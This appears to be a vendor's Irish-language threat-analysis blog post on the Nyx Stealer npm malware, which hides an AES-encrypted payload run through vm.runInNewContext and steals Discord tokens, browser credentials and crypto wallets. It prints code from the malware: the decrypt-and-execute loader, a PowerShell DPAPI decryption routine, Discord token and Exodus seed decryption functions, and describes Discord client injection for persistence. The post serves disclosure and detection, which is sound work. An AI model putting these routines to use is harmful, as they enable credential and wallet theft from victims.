Goideoir Faisnéise npm

Fionnachtain nua ar Infostealer npm: Nyx ​​Stealer ag fuadach seisiúin Discord

TL; DR

Foireann Taighde Slándála Xygeni aithníodh feachtas sofaisticiúil goid faisnéise npm a seachadadh trí dhá phacáiste mailíseacha: consólófaíocht agus selfbot-lofy.

An leagan is déanaí (consolelofy@1.3.0) leabaíonn sé ualach criptithe AES 216KB a dhíchriptíonn ag am rithe agus a fhorghníomhaíonn trí vm.runInNewContext()Ós rud é go bhfuil an loighic mailíseach criptithe go hiomlán, ní féidir le scanóirí statach atá ag brath ar iniúchadh teaghrán a iompar a bhreathnú go dtí am forghníomhaithe.

Nuair a bheidh sé díchriptithe, an t-ualach, brandáilte go hinmheánach Nyx Stealer, spriocanna:

  • Comharthaí fíordheimhnithe Discord
  • 50+ siopa dintiúr brabhsálaí
  • 90+ síneadh sparán cripte-airgeadra
  • Seisiúin Roblox, Instagram, Spotify, Steam, Telegram, agus TikTok
  • Buanseasmhacht cliant deisce Discord

Tuairiscíodh agus dearbhaíodh go raibh gach ceann de na 20 leagan ar fud an dá phacáiste mailíseach.

Forbhreathnú Teicniúil ar an npm Infostealer seo

Murab ionann agus malware traidisiúnta ag am suiteála, braitheann an feachtas seo ar runtime samhail dhíchriptithe.

Tá:

  • Gan aon mailís preinstall or postinstall hooks
  • Gan aon ghlaonna líonra soiléire ag am suiteála
  • Gan aon loighic bhailiúcháin dintiúir lomtéacs

Gníomhaítear an t-ualach nuair a allmhairítear an modúl. Criptítear an corp mailíseach ar fad agus ní thagann sé chun solais sa chuimhne ach amháin le linn am rite.

Seachnaíonn an dearadh seo go sonrach braiteadh le linn suiteáil pacáiste.

Conas a Fhorghníomhaítear an Infostealer npm seo i ndáiríre

Sula ndéanaimid anailís ar a bhfuil á ghoid ag Nyx Stealer, ní mór dúinn tuiscint a fháil conas a fhorghníomhaítear é.

Leanann an loighic mailíseach taobh istigh den infostealer npm seo patrún comhsheasmhach:

Díchriptíonn luchtóir beag ualach mór criptithe agus forghníomhaíonn sé go dinimiciúil é laistigh de chomhthéacs VM Node.js.

Tá an dearadh seo d'aon ghnó. Níl an t-ionsaitheoir ag ceilt feidhmiúlacht taobh thiar de cheilt amháin, tá siad an cód mailíseach a bhaint as infheictheacht statach go hiomlán.

Múnla Forghníomhaithe Ardleibhéil

Ar leibhéal ard, déanann an fillteán ceithre rud:

  • Díorthaíonn sé eochair AES ó fhrása faire crua-chódaithe ag baint úsáide as SHA-256
  • Díchriptíonn sé téacs criptithe mór atá ionchódaithe le heicsidheachúlach ag baint úsáide as AES-256-CBC
  • Rith an JavaScript díchriptithe ag baint úsáide as vm.runInNewContext()
  • Soláthraíonn sé bosca gainimh a nochtann bunphrionsabail chumhachtacha rith-ama fós

Achoimre ar an Teicníc Lárnach

Comhpháirt Cumraíocht / Luach
algartam AES-256-CBC
Díorthú Eochracha SHA-256 (frása faire)
Veicteoir Tosaithe (IV) 16 beart de 0x00
Fhorghníomhú vm.runInNewContext(díchriptithe, bosca gainimh)

Go criticiúil, téann an bosca gainimh trí:

  • require
  • process
  • Buffer
  • timers
  • onnmhairí modúl

Ciallaíonn sé seo go gcoinníonn an t-ualach díchriptithe lánchumas chun:

  • Próisis sceite
  • Léigh agus scríobh comhaid
  • Déan glaonna líonra
  • Modhnaigh feidhmchláir áitiúla

Ní VM srianta é seo. Is VM é a úsáidtear mar thrampalín forghníomhaithe.

Patrún Criptithe Ama Rith (Meicníocht Fhorghníomhaithe Lárnach)

Tá an luchtóir beag.
Ní hé an corp mailíseach.

Seo thíos an patrún forghníomhaithe atá le fáil taobh istigh den phacáiste:

const crypto = require('crypto'); const vm = require('vm');  function decryptAndExecute(encryptedHex, passphrase) {     const key = crypto.createHash('sha256')                       .update(passphrase)                       .digest();      const iv = Buffer.alloc(16, 0);      const decipher = crypto.createDecipheriv('aes-256-cbc', key, iv);     let decrypted = decipher.update(encryptedHex, 'hex', 'utf8');     decrypted += decipher.final('utf8');      const sandbox = {         require,         module,         exports,         console,         process,         Buffer,         __dirname,         __filename,         setTimeout,         setInterval,         clearTimeout,         clearInterval     };      vm.runInNewContext(decrypted, sandbox); }

Cén fáth Cúrsaí sé seo

An t-ualach díchriptithe:

  • An bhfuil nach bhfuil ann i ngnáththéacs laistigh den phacáiste npm
  • Dofheicthe do shimplí grep nó scanadh teaghrán statach
  • Ní thagann sé chun cinn sa chuimhne ach amháin le linn rithe
  • Ritheann sé le cumais iomlána rith-ama an Nóid

Is táscaire iompraíochta láidir é an teaglaim fhorghníomhaithe AES + VM seo ar Goideoir faisnéise npm ag iarraidh iniúchadh statach a sheachaint.

I bhfocail eile:

Mura bhfeiceann tú goideoir, féachann tú crann foinse an phacáiste.
Feiceann tú díchriptitheoir.

Cad a Tharlaíonn Tar éis Díchriptithe

Nuair a bheidh sé curtha i gcrích, seolann Nyx Stealer tonnta bailiúcháin sonraí comhthreomhara.

Tonn 1: Eastóscadh Dintiúir Brabhsálaí

An malware:

  • Íoslódálann sé rith-am Python ó NuGet CDN
  • Suiteálann sé leabharlanna cripteagrafacha
  • Sliochtann sé stórais dintiúr bunaithe ar Chromium
  • Díchriptíonn sé rúin atá faoi chosaint DPAPI

In ionad ceangail dúchasacha a thiomsú, úsáideann sé PowerShell chun glaoch ar Windows DPAPI go díreach.

function dpapiUnprotectWithPowerShell(dataBuf) {     const b64 = dataBuf.toString('base64');      const ps =         "Add-Type -AssemblyName System.Security;" +         "$b=[Convert]::FromBase64String('" + b64 + "');" +         "$p=[System.Security.Cryptography.ProtectedData]::Unprotect(" +         "$b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);" +         "[Console]::Out.Write([Convert]::ToBase64String($p))";      const cmd =         `powershell -NoProfile -ExecutionPolicy Bypass -Command "${ps}"`;      return Buffer.from(execSync(cmd, { encoding: 'utf8' }).trim(), 'base64'); }

An cur chuige seo:

  • Seachnaíonn sé déantáin tiomsaithe
  • Úsáideann APIanna cripte dúchasacha Windows
  • Cumascann sé le huirlisí riaracháin

Is díchriptiú dintiúir ar leibhéal an chórais oibriúcháin é, ní scríobadh.

Tonn 2: Díchriptiú Comharthaí Discord

Tá an goideoir feasach ar phrótacail. Tuigeann sé formáid chomharthaí criptithe Discord.

function decryptToken(encryptedToken, key) {     const tokenParts = encryptedToken.split('dQw4w9WgXcQ:');     const encryptedData = Buffer.from(tokenParts[1], 'base64');      const iv = encryptedData.slice(3, 15);     const ciphertext = encryptedData.slice(15, -16);     const tag = encryptedData.slice(-16);      const decipher = crypto.createDecipheriv('aes-256-gcm', key, iv);     decipher.setAuthTag(tag);      return decipher.update(ciphertext).toString('utf8'); }

Sreabhadh oibriúcháin:

  • Bain an eochair mháistir as Discord Local State
  • Díchriptigh an eochair mháistir trí DPAPI
  • Blobaí comharthaí AES-GCM a dhíchriptiú
  • Bailíochtú comharthaí i gcoinne API Discord
  • Saibhrigh le Nitro, suaitheantais, faisnéis billeála

Ní dumpáil dintiúir ghinearálta atá i gceist anseo. Is fuadach seisiúin atá feasach ar phrótacal atá i gceist.

Tonn 3: Spriocdhíriú ar Sparán Cryptocurrency

Liostaíonn an infostealer npm:

  • Breis is 90 síneadh sparán brabhsálaí
  • 27 sparán deisce
  • Cosáin sparán fuar
  • Comhaid síl Exodus

Iarracht dhíchriptithe síl shamplach:

function decryptSeco(content, password) {     const key = crypto.pbkdf2Sync(password, 'exodus', 10000, 32, 'sha512');      const decipher = crypto.createDecipheriv(         'aes-256-gcm',         key,         content.slice(0, 12)     );      decipher.setAuthTag(content.slice(-16));      return Buffer.concat([         decipher.update(content.slice(12, -16)),         decipher.final()     ]).toString('utf8'); }

Má éiríonn leis, beidh an sparán i mbaol láithreach agus ní féidir é a aisiompú.

Léiríonn sé seo veicteoir monetization is airde luach an fheachtais.

Buanseasmhacht trí Instealladh Deisce Discord

Tar éis dintiúir a bhailiú, déanann Nyx Stealer iarracht buanseasmhacht a choinneáil tríd an gcóras áitiúil a mhodhnú. Discord chustaiméirí.

Sprioc:

%LOCALAPPDATA%\Discord*\app-*\modules\discord_desktop_core\index.js

Seicheamh Oibriúcháin

Déanann an goideoir faisnéise na céimeanna seo a leanas:

  • Cuireann sé deireadh le próisis Discord atá ag rith
  • Aimsigh malairtí Discord suiteáilte (Stable, Canary, PTB)
  • Forscríobhann discord_desktop_core/index.js
  • Instealladh loighic webhook atá faoi rialú an ionsaitheora
  • Atosaíonn Discord

Cinntíonn sé seo go sceithfidh seisiúin Discord amach anseo comharthaí fíordheimhnithe úra go huathoibríoch.

Rud tábhachtach, ní bhraitheann an bhuanseasmhacht seo ar thascanna sceidealaithe ná ar mhodhnuithe ar an gclárlann. Baineann sé leas as modhnú cód ar leibhéal an fheidhmchláir, cur chuige níos rúnda.

Fiú má bhaintear an pacáiste mailíseach npm níos déanaí, fanann cliant Discord i mbaol.

Comparáid Theicniúil: Selfbot Dlisteanach vs. Infostealer npm

Comhpháirt Leabharlann Dhlisteanach Nyx npm Infostealer
Criptiú Ar bith Ualach iomlán criptithe AES
VM Am Rith Ní gá vm.runInNewContext forghníomhú
Rochtain Dintiúir API Discord amháin Brabhsálaí, sparán, DPAPI
Íoslódálacha Seachtracha Uimh Am rith Python trí NuGet
Marthanacht Uimh Instealladh cliant Discord
airgeadú Uathoibriú bot Athdhíol dintiúir

Is é an ciseal criptithe ina aonar a scarann ​​an feachtas seo ó fhorc foinse oscailte tipiciúil cheana féin.

Níl aon chúis ag selfbot dlisteanach Discord a bhunachar cód iomlán a chriptiú, PowerShell a chruthú chun rochtain a fháil ar DPAPI, amanna rith seachtracha a íoslódáil, ná inmheánacha feidhmchlár deisce a mhodhnú. Nuair a bhíonn na cumais sin le feiceáil laistigh de spleáchas a mhaíonn go n-uathoibríonn sé idirghníomhaíochtaí Discord, ní féidir neamhaird a dhéanamh den neamhréireacht ailtireachta.

Ó thaobh imscrúdaithe de, fágann an goid faisnéise npm seo rianta trasna ilchiseal. Mar sin féin, ní URLanna crua-chódaithe ná cosáin chomhaid shonracha na táscairí is iontaofa, ós rud é gur féidir leo sin athrú idir leaganacha. Ina áit sin, is comharthaí struchtúracha iad na comharthaí buana.

Ag leibhéal an phacáiste, is é an bratach dhearg is láidre ná an meascán d'ualach mór criptithe agus fillteán díchriptithe rith-ama a fhorghníomhaítear láithreach trí vm.runInNewContext()Cé nach bhfuil criptiú ina aonar mailíseach ó dhúchas, is rud thar a bheith neamhghnách é díchriptiú AES a úsáid agus ansin forghníomhú dinimiciúil VM laistigh de phacáiste fóntais Discord.

Ag leibhéal an óstaigh, áirítear ar na patrúin amhrasacha gníomhaíocht dhíchriptithe DPAPI gan choinne, sceitheadh ​​próisis ó chomhthéacs spleáchais Node.js, agus modhnú ar chomhaid feidhmchláir áitiúla nár cheart do leabharlanna tríú páirtí a athrú choíche. Mar an gcéanna, ag an tsraith líonra, is ionann cumarsáid amach i stíl webhook a thionscnaítear ag spleáchas forbartha agus neamhghnáchaíocht shuntasach eile.

Is é sin le rá, ní haon chomhartha amháin ar chomhréiteach é an dromchla braite. Is é an comhghaol idir criptiú, forghníomhú ag am rithe, rochtain dintiúir, agus iompar buanseasmhach a nochtann an bhagairt.

Brath agus Maolú le Xygeni

Goideoir Faisnéise npm

Aithníodh an goideoir faisnéise npm seo ag Rabhadh Luath um Bhogearraí Mailíseacha Xygeni (MEW) trí chomhghaol iompraíochta ilchisealach seachas meaitseáil shínithe simplí.

In ionad cuardach a dhéanamh ar shreangáin mailíseacha aitheanta, déanann MEW meastóireacht ar neamhghnáchaíochtaí struchtúracha ar fud an chrainn foinse iomláin. Sa chás seo, tháinig an bhrath chun cinn ó chomhtháthú roinnt comharthaí: gnáthamh díchriptithe AES leabaithe i bpointe iontrála an mhodúil, forghníomhú láithreach laistigh de chomhthéacs VM, agus neamhréir shoiléir idir cumas agus intinn.

Rud tábhachtach ná nach gcruthaíonn aon cheann de na comharthaí seo leo féin intinn mhailíseach. Mar sin féin, nuair a dhéantar anailís orthu le chéile, nochtar iarracht iompar am rite a cheilt. Laghdaíonn an cur chuige ilchisealach seo torthaí dearfacha bréagacha go suntasach agus aithnítear bagairtí slabhra soláthair ardmhuiníne ag an am céanna.

Ina theannta sin, léiríonn an cás seo cén fáth nach leor cigireacht tráth suiteála ina haonar. Ní bhíonn an loighic mailíseach le fáil i scripteanna saoilré. Ní ghníomhaíonn sé ach amháin tar éis don mhodúl lódáil agus ní bhíonn sé le feiceáil ach amháin nuair a bhíonn sé díchriptithe sa chuimhne. Dá bhrí sin, éilíonn cosaint éifeachtach anailís atá feasach ar chriptiú, aitheantas patrún iompraíochta, agus monatóireacht leanúnach ar spleáchais thar imeachtaí suiteála.

Is imoibríoch an rud é baint anuas den chlárlann. Is coisctheach an rud é anailís atá feasach ar am rithe.

Cén Fáth go bhfuil an Goideadh Faisnéise npm seo Tábhachtach

Léiríonn Nyx Stealer éabhlóid struchtúrach i malware bunaithe ar npm.

Go stairiúil, bhíodh go leor pacáistí mailíseacha ag brath ar scripteanna infheicthe ag am suiteála nó ar chríochphointí soiléire eis-scagtha dintiúir. I gcodarsnacht leis sin, criptíonn an feachtas seo a ualach, cuireann sé an forghníomhú siar go dtí am rite, baintear leas as APIanna córais oibriúcháin dlisteanacha, agus bunaítear buanseasmhacht laistigh d'fheidhmchláir iontaofa.

Dá bhrí sin, ní gá don ionsaitheoir leas a bhaint as bonneagar npm féin. Ina áit sin, éiríonn leis an ionsaí toisc go dtugann suiteáil spleáchais le fios muinín. Glacann forbróirí leis gur oibríocht shábháilte í leabharlann a allmhairiú, go háirithe nuair a chuirtear i láthair í mar fhorc inchreidte d'uirlis choitianta.

De réir mar a leanann éiceachórais ag fás agus forcanna ag iomadú, bíonn an teorainn muiníne intuigthe sin ina dromchla ionsaithe atá ag éirí níos tarraingtí. Dá bhrí sin, chun cosaint a dhéanamh i gcoinne gadaithe faisnéise nua-aimseartha npm, ní mór patrúin ailtireachta a aithint seachas teaghráin statach a chuardach.

Sa deireadh thiar, neartaíonn an feachtas seo ceacht ríthábhachtach i software supply chain securityNí hiad na bagairtí is contúirtí na cinn a bhfuil cuma mailíseach orthu ar an gcéad amharc, ach na cinn a bhfuil cuma dhlisteanach struchtúir orthu go dtí go nochtann am rite a bhfíor-iompar.

uirlisí-sca-uirlisí-bogearraí-anailíse-comhdhéanamh
Tabhair tosaíocht do rioscaí bogearraí, déan iad a leigheas agus a dhaingniú
Faigh do Chuntas Saor in Aisce.
Níl aon chárta creidmheasa ag teastáil.

Daingnigh do Fhorbairt agus do Sheachadadh Bogearraí

le Sraith Táirgí Xygeni